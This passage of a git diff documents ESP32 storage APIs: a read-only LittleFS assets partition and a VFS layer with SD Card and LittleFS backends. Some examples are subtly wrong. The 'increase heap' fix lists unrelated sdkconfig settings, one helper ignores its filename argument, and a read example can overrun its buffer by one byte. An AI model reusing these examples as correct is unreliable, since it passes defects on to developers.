read-only in production) - -## Key Features - -- **Dedicated Partition:** Separate from application code and main storage. -- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. -- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. -- **Auto-Discovery:** Automatically lists all files in partition on initialization. -- **Memory Management:** Helper function to load entire files with automatic allocation. -- **Directory Traversal:** Recursive directory listing for debugging. - -## Typical Use Cases - -- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. -- **Fonts:** Pre-compiled font files for text rendering. -- **Configuration Templates:** Default configuration files. -- **Audio Samples:** Short sound effects or melodies. -- **IR/RF Databases:** Preloaded signal databases. -- **Firmware Resources:** Any read-only data needed by the application. - -## Configuration - -### Partition Table - -The assets partition must be defined in your partition table (`partitions.csv`): - -```csv -# Name, Type, SubType, Offset, Size, Flags -nvs, data, nvs, 0x9000, 0x6000, -phy_init, data, phy, 0xf000, 0x1000, -factory, app, factory, 0x10000, 1M, -assets, data, spiffs, 0x110000, 512K, -storage, data, spiffs, 0x190000, 1M, -``` - -**Important Notes:** -- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). -- Size should be sufficient for all your assets (adjust as needed). -- The partition must be flashed before use. - -### Constants - -```c -#define ASSETS_MOUNT_POINT "/assets" -#define ASSETS_PARTITION_LABEL "assets" -``` - -These are defined internally and cannot be changed without modifying the source. - ---- - -## API Reference - -### Initialization - -#### `storage_assets_init` - -```c -esp_err_t storage_assets_init(void); -``` - -Initializes and mounts the assets partition. Must be called before any other asset operations. - -**Behavior:** -- Mounts the LittleFS partition at `/assets`. -- Formats the partition if mounting fails (useful for first flash). -- Lists all files in the partition for debugging. -- Displays partition size and usage statistics. - -**Returns:** -- `ESP_OK` - Assets partition mounted successfully. -- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. -- `ESP_FAIL` - Mount or format failed. -- `ESP_ERR_INVALID_STATE` - Already initialized. - -**Example:** -```c -void app_main(void) { - esp_err_t ret = storage_assets_init(); - if (ret == ESP_OK) { - printf("Assets ready!\n"); - } else if (ret == ESP_ERR_NOT_FOUND) { - printf("ERROR: 'assets' partition not found!\n"); - printf("Check your partition table.\n"); - } else { - printf("Assets init failed: %s\n", esp_err_to_name(ret)); - } -} -``` - -**Console Output Example:** -``` -I (1234) storage_assets: Initializing LittleFS for assets partition -I (1245) storage_assets: Assets ready at /assets -I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes -I (1247) storage_assets: === Files in assets partition === -I (1248) storage_assets: [1] logo.bin (1200 bytes) -I (1249) storage_assets: [DIR] fonts/ -I (1250) storage_assets: [2] arial.ttf (45000 bytes) -I (1251) storage_assets: [3] config_template.json (567 bytes) -I (1252) storage_assets: Total: 3 file(s), 1 dir(s) -I (1253) storage_assets: ================================ -``` - ---- - -#### `storage_assets_deinit` - -```c -esp_err_t storage_assets_deinit(void); -``` - -Unmounts the assets partition and releases resources. - -**Returns:** -- `ESP_OK` - Unmounted successfully. -- `ESP_ERR_INVALID_STATE` - Not initialized. - -**Example:** -```c -// Before system shutdown -storage_assets_deinit(); -``` - ---- - -#### `storage_assets_is_mounted` - -```c -bool storage_assets_is_mounted(void); -``` - -Checks if the assets partition is currently mounted. - -**Returns:** -- `true` - Partition is mounted and ready. -- `false` - Partition is not mounted. - -**Example:** -```c -if (!storage_assets_is_mounted()) { - storage_assets_init(); -} -``` - ---- - -### File Access - -#### `storage_assets_get_file_size` - -```c -esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); -``` - -Gets the size of a file in the assets partition without reading it. - -**Parameters:** -- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). -- `out_size` - Pointer to store file size in bytes. - -**Returns:** -- `ESP_OK` - Size retrieved successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - NULL parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -size_t logo_size; -if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { - printf("Logo is %zu bytes\n", logo_size); - - // Allocate buffer of exact size - uint8_t *buffer = malloc(logo_size); -} -``` - ---- - -#### `storage_assets_read_file` - -```c -esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); -``` - -Reads file content into a pre-allocated buffer. - -**Parameters:** -- `filename` - Name of the file. -- `buffer` - Pre-allocated buffer to receive data. -- `size` - Maximum bytes to read (buffer size). -- `out_read` - Pointer to store actual bytes read (can be NULL). - -**Returns:** -- `ESP_OK` - File read successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - Invalid parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -uint8_t buffer[2048]; -size_t bytes_read; - -esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); -if (ret == ESP_OK) { - buffer[bytes_read] = '\0'; // Null-terminate if text - printf("Config: %s\n", (char *)buffer); -} else { - printf("Failed to read config: %s\n", esp_err_to_name(ret)); -} -``` - ---- - -#### `storage_assets_load_file` - -```c -uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); -``` - -Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** - -**Parameters:** -- `filename` - Name of the file. -- `out_size` - Pointer to store file size (can be NULL). - -**Returns:** -- Pointer to allocated buffer containing file data. -- `NULL` on error (allocation failure, file not found, etc.). - -**Example:** -```c -size_t image_size; -uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); - -if (image_data != NULL) { - // Use the image data - display_draw_bitmap(image_data, image_size); - - // IMPORTANT: Free when done! - free(image_data); -} else { - printf("Failed to load splash screen\n"); -} -``` - -**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. - ---- - -### Utility Functions - -#### `storage_assets_get_mount_point` - -```c -const char* storage_assets_get_mount_point(void); -``` - -Returns the mount point path for the assets partition. - -**Returns:** -- Constant string "/assets". - -**Example:** -```c -const char *mount = storage_assets_get_mount_point(); - -// Construct full path -char full_path[128]; -snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); - -// Use with standard file operations -FILE *f = fopen(full_path, "r"); -``` - ---- - -#### `storage_assets_print_info` - -```c -void storage_assets_print_info(void); -``` - -Prints detailed information about the assets partition to the console. - -**Parameters:** None - -**Returns:** Nothing (void) - -**Example Output:** -``` -I (1234) storage_assets: === Assets Partition Info === -I (1235) storage_assets: Mount point: /assets -I (1236) storage_assets: Partition: assets -I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) -I (1238) storage_assets: Used: 98765 bytes (96.45 KB) -I (1239) storage_assets: Free: 425523 bytes (415.55 KB) -I (1240) storage_assets: Usage: 18.8% -``` - -**Usage:** -```c -// During debugging or diagnostics -storage_assets_print_info(); -``` - ---- - -## Implementation Details - -### Directory Listing - -The component includes a recursive directory listing function that runs automatically during initialization: - -```c -static void list_directory_recursive(const char *path, const char *prefix, - int *file_count, int *dir_count); -``` - -This helps during development to verify that assets were flashed correctly. - -### Path Handling - -All file operations internally prepend the mount point: - -```c -// User provides: "logo.bin" -// Internally becomes: "/assets/logo.bin" -``` - -Subdirectories are supported: -```c -// User provides: "fonts/arial.ttf" -// Internally becomes: "/assets/fonts/arial.ttf" -``` - -### Error Handling - -All functions validate: -- Initialization state -- Parameter validity -- File existence -- Memory allocation success - -Always check return values to ensure robust operation. - ---- - -## Usage Patterns - -### Loading a Bitmap for Display - -```c -void display_splash_screen(void) { - size_t image_size; - uint8_t *image = storage_assets_load_file("splash.bin", &image_size); - - if (image == NULL) { - ESP_LOGE(TAG, "Failed to load splash screen"); - return; - } - - // Expected format: 128x64 monochrome bitmap - if (image_size != (128 * 64) / 8) { - ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); - } - - // Send to display - oled_draw_bitmap(0, 0, image, 128, 64); - - // Clean up - free(image); -} -``` - ---- - -### Loading Configuration Template - -```c -cJSON* load_default_config(void) { - uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); - if (json_data == NULL) { - return NULL; - } - - cJSON *config = cJSON_Parse((const char *)json_data); - free(json_data); - - return config; -} -``` - ---- - -### Preloading Assets at Boot - -```c -typedef struct { - uint8_t *logo_data; - size_t logo_size; - uint8_t *font_data; - size_t font_size; -} app_assets_t; - -app_assets_t g_assets = {0}; - -esp_err_t preload_assets(void) { - // Load logo - g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); - if (g_assets.logo_data == NULL) { - return ESP_FAIL; - } - - // Load font - g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); - if (g_assets.font_data == NULL) { - free(g_assets.logo_data); - return ESP_FAIL; - } - - ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", - g_assets.logo_size, g_assets.font_size); - - return ESP_OK; -} - -void cleanup_assets(void) { - free(g_assets.logo_data); - free(g_assets.font_data); - memset(&g_assets, 0, sizeof(g_assets)); -} -``` - ---- - -### Chunked Reading for Large Files - -```c -esp_err_t process_large_asset(const char *filename) { - FILE *f = fopen("/assets/large_file.dat", "rb"); - if (!f) { - return ESP_FAIL; - } - - uint8_t chunk[512]; - size_t bytes_read; - - while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { - // Process chunk - process_data(chunk, bytes_read); - } - - fclose(f); - return ESP_OK; -} -``` - ---- - -### Conditional Asset Loading - -```c -void load_language_assets(const char *language) { - char filename[64]; - snprintf(filename, sizeof(filename), "strings_%s.json", language); - - uint8_t *strings = storage_assets_load_file(filename, NULL); - if (strings == NULL) { - ESP_LOGW(TAG, "Language '%s' not found, using default", language); - strings = storage_assets_load_file("strings_en.json", NULL); - } - - if (strings != NULL) { - parse_language_strings((const char *)strings); - free(strings); - } -} -``` - ---- - -## Flashing Assets - -### Option 1: Automatic (Recommended) - -Add to your `CMakeLists.txt`: - -```cmake -# Create assets partition image from 'assets' folder -littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) -``` - -This automatically flashes the `assets/` folder content when running `idf.py flash`. - -### Option 2: Manual Flash - -```bash -# Build the assets partition image -idf.py build - -# Flash everything including assets -idf.py flash - -# Or flash only assets partition -esptool.py write_flash 0x110000 build/assets.bin -``` - -**Note:** Replace `0x110000` with the actual offset from your partition table. - -### Asset Folder Structure - -``` -project/ -├── assets/ -│ ├── logo.bin -│ ├── config_template.json -│ ├── fonts/ -│ │ ├── arial.ttf -│ │ └── mono.ttf -│ └── images/ -│ ├── icon_wifi.bin -│ └── icon_battery.bin -└── main/ - └── main.c -``` - ---- - -## Troubleshooting - -### "Partition 'assets' not found" - -**Problem:** The assets partition is not defined in the partition table. - -**Solution:** -1. Add partition to `partitions.csv`: - ```csv - assets, data, spiffs, 0x110000, 512K, - ``` -2. Set partition table in `sdkconfig`: - ``` - CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" - CONFIG_PARTITION_TABLE_CUSTOM=y - ``` -3. Rebuild: `idf.py fullclean && idf.py build` - ---- - -### "(empty - partition has no files!)" - -**Problem:** Assets partition exists but contains no files. - -**Solution:** -1. Create `assets/` folder in project root -2. Add files to the folder -3. Enable automatic flash in `CMakeLists.txt`: - ```cmake - littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) - ``` -4. Rebuild and flash: `idf.py flash` - ---- - -### "Failed to allocate memory" - -**Problem:** Insufficient heap for large asset file. - -**Solutions:** -- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` -- Read file in chunks instead of loading entirely -- Increase heap size in `sdkconfig`: - ``` - CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 - CONFIG_FREERTOS_HZ=1000 - ``` - ---- - -### File Not Found at Runtime - -**Problem:** File exists in assets folder but not found at runtime. - -**Checklist:** -- [ ] Is partition flashed? (`idf.py flash`) -- [ ] Is filename correct? (case-sensitive!) -- [ ] Is `storage_assets_init()` called before reading? -- [ ] Check `storage_assets_print_info()` output - does it list your file? - ---- - -## Performance Considerations - -- **Initialization:** Takes 100-500ms depending on partition size and file count. -- **File Reading:** LittleFS is optimized for small files (< 1MB). -- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. -- **Large Files:** For files > 100KB, consider chunked reading instead of full load. - ---- - -## Best Practices - -1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. -2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. -3. **Validate Sizes:** Always check file sizes match expected values. -4. **Free Memory:** Always `free()` pointers returned by `load_file()`. -5. **Handle Errors:** Never assume assets are present - always validate return codes. -6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). -7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file diff --git a/docs/storage_vfs/README.md b/docs/storage_vfs/README.md new file mode 100644 index 000000000..68faedef5 --- /dev/null +++ b/docs/storage_vfs/README.md @@ -0,0 +1,1096 @@ +# P4 + +The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). + +## Overview + +- **Location:** `components/Service/storage_vfs/` +- **Main Headers:** + - `include/vfs_core.h` (Core API) + - `include/vfs_config.h` (Backend selection) + - `include/vfs_sdcard.h` (SD Card backend) + - `include/vfs_littlefs.h` (LittleFS backend) +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` + +## Architecture Position + +``` +Application Code + ↓ + Storage API ← Recommended for most applications + ↓ + VFS Core ← You are here (low-level abstraction) + ↓ +Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) +``` + +**When to use VFS directly:** +- You need POSIX-like file descriptor operations +- You want manual control over open/read/write/close +- Storage API doesn't provide what you need +- You're building your own storage abstraction + +**When NOT to use VFS:** +- For simple file operations → Use **Storage API** instead +- For read-only assets → Use **Storage Assets** instead + +--- + +## Key Features + +- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem +- **Single Backend Selection:** Compile-time selection ensures only one backend is active +- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) +- **Directory Operations:** Full directory tree manipulation +- **Backend Abstraction:** Switch storage backends by changing configuration + +--- + +## Backend Selection (Compile-Time) + +The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. + +Edit `vfs_config.h`: + +```c +// Only ONE backend can be uncommented at a time + +#define VFS_USE_SD_CARD // ← Active backend +// #define VFS_USE_SPIFFS +// #define VFS_USE_LITTLEFS +// #define VFS_USE_RAMFS +``` + +**Important:** The system validates this at compile time and will error if multiple backends are selected. + +### Backend Configurations + +Each backend has specific configuration in `vfs_config.h`: + +#### SD Card Backend +```c +#define VFS_MOUNT_POINT "/sdcard" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL false +#define VFS_BACKEND_NAME "SD Card" +``` + +#### LittleFS Backend +```c +#define VFS_MOUNT_POINT "/littlefs" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL true +#define VFS_PARTITION_LABEL "storage" +#define VFS_BACKEND_NAME "LittleFS" +``` + +--- + +## Data Structures + +### File Descriptor + +```c +typedef int vfs_fd_t; +#define VFS_INVALID_FD -1 +``` + +File descriptor for open files. Similar to POSIX file descriptors. + +--- + +### File/Directory Information + +```c +typedef struct { + char name[VFS_MAX_NAME]; // Entry name (64 chars max) + vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR + size_t size; // File size in bytes + time_t mtime; // Last modification time + time_t ctime; // Creation time + bool is_hidden; // Hidden attribute + bool is_readonly; // Read-only attribute +} vfs_stat_t; +``` + +--- + +### Filesystem Statistics + +```c +typedef struct { + uint64_t total_bytes; // Total filesystem capacity + uint64_t free_bytes; // Available free space + uint64_t used_bytes; // Space currently in use + uint32_t block_size; // Filesystem block size + uint32_t total_blocks; // Total number of blocks + uint32_t free_blocks; // Available free blocks +} vfs_statvfs_t; +``` + +--- + +## Core API Reference + +### Initialization + +#### `vfs_init_auto` + +```c +esp_err_t vfs_init_auto(void); +``` + +Initializes the VFS backend selected in `vfs_config.h`. + +**Returns:** +- `ESP_OK` - Backend initialized and mounted successfully +- `ESP_FAIL` - Initialization failed (check logs) + +--- + +#### `vfs_deinit_auto` + +```c +esp_err_t vfs_deinit_auto(void); +``` + +Unmounts and deinitializes the active VFS backend. + +**Returns:** +- `ESP_OK` - Backend deinitialized successfully +- `ESP_FAIL` - Deinitialization failed + +--- + +#### `vfs_is_mounted_auto` + +```c +bool vfs_is_mounted_auto(void); +``` + +Checks if the active backend is currently mounted. + +--- + +#### `vfs_get_mount_point` + +```c +const char* vfs_get_mount_point(void); +``` + +Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). + +--- + +#### `vfs_get_backend_name` + +```c +const char* vfs_get_backend_name(void); +``` + +Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). + +--- + +#### `vfs_print_info` + +```c +void vfs_print_info(void); +``` + +Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. + +--- + +### File Operations (POSIX-like) + +#### `vfs_open` + +```c +vfs_fd_t vfs_open(const char *path, int flags, int mode); +``` + +Opens a file with specified flags and permissions. + +**Parameters:** +- `path` - Full path to file (e.g., "/sdcard/data.txt") +- `flags` - Opening mode flags (bitwise OR): + - `VFS_O_RDONLY` - Read-only + - `VFS_O_WRONLY` - Write-only + - `VFS_O_RDWR` - Read and write + - `VFS_O_CREAT` - Create if doesn't exist + - `VFS_O_TRUNC` - Truncate to zero length + - `VFS_O_APPEND` - Append to end of file + - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) +- `mode` - File permissions (POSIX mode, e.g., 0644) + +**Returns:** +- Valid file descriptor (>= 0) on success +- `VFS_INVALID_FD` on failure + +--- + +#### `vfs_read` + +```c +ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); +``` + +Reads data from an open file. + +**Returns:** +- Number of bytes read (>= 0) +- -1 on error + +--- + +#### `vfs_write` + +```c +ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); +``` + +Writes data to an open file. + +**Returns:** +- Number of bytes written (>= 0) +- -1 on error + +--- + +#### `vfs_lseek` + +```c +off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); +``` + +Moves the file position pointer. + +**Parameters:** +- `whence` - Reference point: + - `VFS_SEEK_SET` - From beginning of file + - `VFS_SEEK_CUR` - From current position + - `VFS_SEEK_END` - From end of file + +**Returns:** +- New file position on success +- -1 on error + +--- + +#### `vfs_close` + +```c +esp_err_t vfs_close(vfs_fd_t fd); +``` + +Closes an open file descriptor. + +--- + +#### `vfs_fsync` + +```c +esp_err_t vfs_fsync(vfs_fd_t fd); +``` + +Flushes file buffers to storage, ensuring data is physically written. + +--- + +### File Metadata + +#### `vfs_stat` + +```c +esp_err_t vfs_stat(const char *path, vfs_stat_t *st); +``` + +Gets information about a file or directory. + +--- + +#### `vfs_exists` + +```c +bool vfs_exists(const char *path); +``` + +Checks if a file or directory exists. + +--- + +#### `vfs_get_size` + +```c +esp_err_t vfs_get_size(const char *path, size_t *size); +``` + +Gets the size of a file in bytes. + +--- + +### File Management + +#### `vfs_rename` + +```c +esp_err_t vfs_rename(const char *old_path, const char *new_path); +``` + +Renames or moves a file. + +--- + +#### `vfs_unlink` + +```c +esp_err_t vfs_unlink(const char *path); +``` + +Deletes a file. + +--- + +#### `vfs_truncate` + +```c +esp_err_t vfs_truncate(const char *path, off_t length); +``` + +Resizes a file to the specified length. + +--- + +### Directory Operations + +#### `vfs_mkdir` + +```c +esp_err_t vfs_mkdir(const char *path, int mode); +``` + +Creates a new directory. + +--- + +#### `vfs_rmdir` + +```c +esp_err_t vfs_rmdir(const char *path); +``` + +Removes an empty directory. + +--- + +#### `vfs_rmdir_recursive` + +```c +esp_err_t vfs_rmdir_recursive(const char *path); +``` + +Recursively removes a directory and all its contents. + +--- + +#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` + +```c +vfs_dir_t vfs_opendir(const char *path); +esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); +esp_err_t vfs_closedir(vfs_dir_t dir); +``` + +Directory traversal using iterator pattern. + +--- + +#### `vfs_list_dir` + +```c +typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); +esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); +``` + +Lists directory contents using callback. + +--- + +### Filesystem Information + +#### `vfs_statvfs` + +```c +esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); +``` + +Gets filesystem statistics. + +--- + +#### `vfs_get_free_space` + +```c +esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); +``` + +Gets available free space. + +--- + +#### `vfs_get_usage_percent` + +```c +esp_err_t vfs_get_usage_percent(const char *path, float *percentage); +``` + +Calculates filesystem usage percentage. + +--- + +### High-Level Helpers + +These functions simplify common operations by handling open/close internally. + +#### `vfs_read_file` + +```c +esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); +``` + +Reads entire file content in one operation. + +--- + +#### `vfs_write_file` + +```c +esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); +``` + +Writes data to file, creating or overwriting it. + +--- + +#### `vfs_append_file` + +```c +esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); +``` + +Appends data to end of file. + +--- + +#### `vfs_copy_file` + +```c +esp_err_t vfs_copy_file(const char *src, const char *dst); +``` + +Copies a file. + +--- + +## Backend-Specific APIs + +### SD Card Backend + +```c +#include "vfs_sdcard.h" + +esp_err_t vfs_sdcard_init(void); +esp_err_t vfs_sdcard_deinit(void); +bool vfs_sdcard_is_mounted(void); +void vfs_sdcard_print_info(void); +esp_err_t vfs_sdcard_format(void); +``` + +### LittleFS Backend + +```c +#include "vfs_littlefs.h" + +esp_err_t vfs_littlefs_init(void); +esp_err_t vfs_littlefs_deinit(void); +bool vfs_littlefs_is_mounted(void); +void vfs_littlefs_print_info(void); +esp_err_t vfs_littlefs_format(void); +``` + +--- + +## Switching Backends + +To switch between storage backends, edit `vfs_config.h`: + +```c +// From SD Card: +#define VFS_USE_SD_CARD + +// To LittleFS: +// #define VFS_USE_SD_CARD +#define VFS_USE_LITTLEFS +``` + +Rebuild your project. All `vfs_*` function calls remain the same. + +--- + +## Best Practices + +1. **Consider Storage API first** - Use VFS only when you need low-level control +2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` +3. **Close file descriptors** - Always call `vfs_close()` when done +4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") +5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` +--- + +# C5 + +The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). + +## Overview + +- **Location:** `components/storage/vfs/` +- **Main Headers:** + - `include/vfs_core.h` (Core API) + - `include/vfs_config.h` (Backend selection) + - `include/vfs_sdcard.h` (SD Card backend) + - `include/vfs_littlefs.h` (LittleFS backend) +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` + +## Architecture Position + +``` +Application Code + ↓ + Storage API ← Recommended for most applications + ↓ + VFS Core ← You are here (low-level abstraction) + ↓ +Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) +``` + +**When to use VFS directly:** +- You need POSIX-like file descriptor operations +- You want manual control over open/read/write/close +- Storage API doesn't provide what you need +- You're building your own storage abstraction + +**When NOT to use VFS:** +- For simple file operations → Use **Storage API** instead +- For read-only assets → Use **Storage Assets** instead + +--- + +## Key Features + +- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem +- **Single Backend Selection:** Compile-time selection ensures only one backend is active +- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) +- **Directory Operations:** Full directory tree manipulation +- **Backend Abstraction:** Switch storage backends by changing configuration + +--- + +## Backend Selection (Compile-Time) + +The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. + +Edit `vfs_config.h`: + +```c +// Only ONE backend can be uncommented at a time + +#define VFS_USE_SD_CARD // ← Active backend +// #define VFS_USE_SPIFFS +// #define VFS_USE_LITTLEFS +// #define VFS_USE_RAMFS +``` + +**Important:** The system validates this at compile time and will error if multiple backends are selected. + +### Backend Configurations + +Each backend has specific configuration in `vfs_config.h`: + +#### SD Card Backend +```c +#define VFS_MOUNT_POINT "/sdcard" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL false +#define VFS_BACKEND_NAME "SD Card" +``` + +#### LittleFS Backend +```c +#define VFS_MOUNT_POINT "/littlefs" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL true +#define VFS_PARTITION_LABEL "storage" +#define VFS_BACKEND_NAME "LittleFS" +``` + +--- + +## Data Structures + +### File Descriptor + +```c +typedef int vfs_fd_t; +#define VFS_INVALID_FD -1 +``` + +File descriptor for open files. Similar to POSIX file descriptors. + +--- + +### File/Directory Information + +```c +typedef struct { + char name[VFS_MAX_NAME]; // Entry name (64 chars max) + vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR + size_t size; // File size in bytes + time_t mtime; // Last modification time + time_t ctime; // Creation time + bool is_hidden; // Hidden attribute + bool is_readonly; // Read-only attribute +} vfs_stat_t; +``` + +--- + +### Filesystem Statistics + +```c +typedef struct { + uint64_t total_bytes; // Total filesystem capacity + uint64_t free_bytes; // Available free space + uint64_t used_bytes; // Space currently in use + uint32_t block_size; // Filesystem block size + uint32_t total_blocks; // Total number of blocks + uint32_t free_blocks; // Available free blocks +} vfs_statvfs_t; +``` + +--- + +## Core API Reference + +### Initialization + +#### `vfs_init_auto` + +```c +esp_err_t vfs_init_auto(void); +``` + +Initializes the VFS backend selected in `vfs_config.h`. + +**Returns:** +- `ESP_OK` - Backend initialized and mounted successfully +- `ESP_FAIL` - Initialization failed (check logs) + +--- + +#### `vfs_deinit_auto` + +```c +esp_err_t vfs_deinit_auto(void); +``` + +Unmounts and deinitializes the active VFS backend. + +**Returns:** +- `ESP_OK` - Backend deinitialized successfully +- `ESP_FAIL` - Deinitialization failed + +--- + +#### `vfs_is_mounted_auto` + +```c +bool vfs_is_mounted_auto(void); +``` + +Checks if the active backend is currently mounted. + +--- + +#### `vfs_get_mount_point` + +```c +const char* vfs_get_mount_point(void); +``` + +Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). + +--- + +#### `vfs_get_backend_name` + +```c +const char* vfs_get_backend_name(void); +``` + +Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). + +--- + +#### `vfs_print_info` + +```c +void vfs_print_info(void); +``` + +Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. + +--- + +### File Operations (POSIX-like) + +#### `vfs_open` + +```c +vfs_fd_t vfs_open(const char *path, int flags, int mode); +``` + +Opens a file with specified flags and permissions. + +**Parameters:** +- `path` - Full path to file (e.g., "/sdcard/data.txt") +- `flags` - Opening mode flags (bitwise OR): + - `VFS_O_RDONLY` - Read-only + - `VFS_O_WRONLY` - Write-only + - `VFS_O_RDWR` - Read and write + - `VFS_O_CREAT` - Create if doesn't exist + - `VFS_O_TRUNC` - Truncate to zero length + - `VFS_O_APPEND` - Append to end of file + - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) +- `mode` - File permissions (POSIX mode, e.g., 0644) + +**Returns:** +- Valid file descriptor (>= 0) on success +- `VFS_INVALID_FD` on failure + +--- + +#### `vfs_read` + +```c +ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); +``` + +Reads data from an open file. + +**Returns:** +- Number of bytes read (>= 0) +- -1 on error + +--- + +#### `vfs_write` + +```c +ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); +``` + +Writes data to an open file. + +**Returns:** +- Number of bytes written (>= 0) +- -1 on error + +--- + +#### `vfs_lseek` + +```c +off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); +``` + +Moves the file position pointer. + +**Parameters:** +- `whence` - Reference point: + - `VFS_SEEK_SET` - From beginning of file + - `VFS_SEEK_CUR` - From current position + - `VFS_SEEK_END` - From end of file + +**Returns:** +- New file position on success +- -1 on error + +--- + +#### `vfs_close` + +```c +esp_err_t vfs_close(vfs_fd_t fd); +``` + +Closes an open file descriptor. + +--- + +#### `vfs_fsync` + +```c +esp_err_t vfs_fsync(vfs_fd_t fd); +``` + +Flushes file buffers to storage, ensuring data is physically written. + +--- + +### File Metadata + +#### `vfs_stat` + +```c +esp_err_t vfs_stat(const char *path, vfs_stat_t *st); +``` + +Gets information about a file or directory. + +--- + +#### `vfs_exists` + +```c +bool vfs_exists(const char *path); +``` + +Checks if a file or directory exists. + +--- + +#### `vfs_get_size` + +```c +esp_err_t vfs_get_size(const char *path, size_t *size); +``` + +Gets the size of a file in bytes. + +--- + +### File Management + +#### `vfs_rename` + +```c +esp_err_t vfs_rename(const char *old_path, const char *new_path); +``` + +Renames or moves a file. + +--- + +#### `vfs_unlink` + +```c +esp_err_t vfs_unlink(const char *path); +``` + +Deletes a file. + +--- + +#### `vfs_truncate` + +```c +esp_err_t vfs_truncate(const char *path, off_t length); +``` + +Resizes a file to the specified length. + +--- + +### Directory Operations + +#### `vfs_mkdir` + +```c +esp_err_t vfs_mkdir(const char *path, int mode); +``` + +Creates a new directory. + +--- + +#### `vfs_rmdir` + +```c +esp_err_t vfs_rmdir(const char *path); +``` + +Removes an empty directory. + +--- + +#### `vfs_rmdir_recursive` + +```c +esp_err_t vfs_rmdir_recursive(const char *path); +``` + +Recursively removes a directory and all its contents. + +--- + +#### `vfs_opendir` / 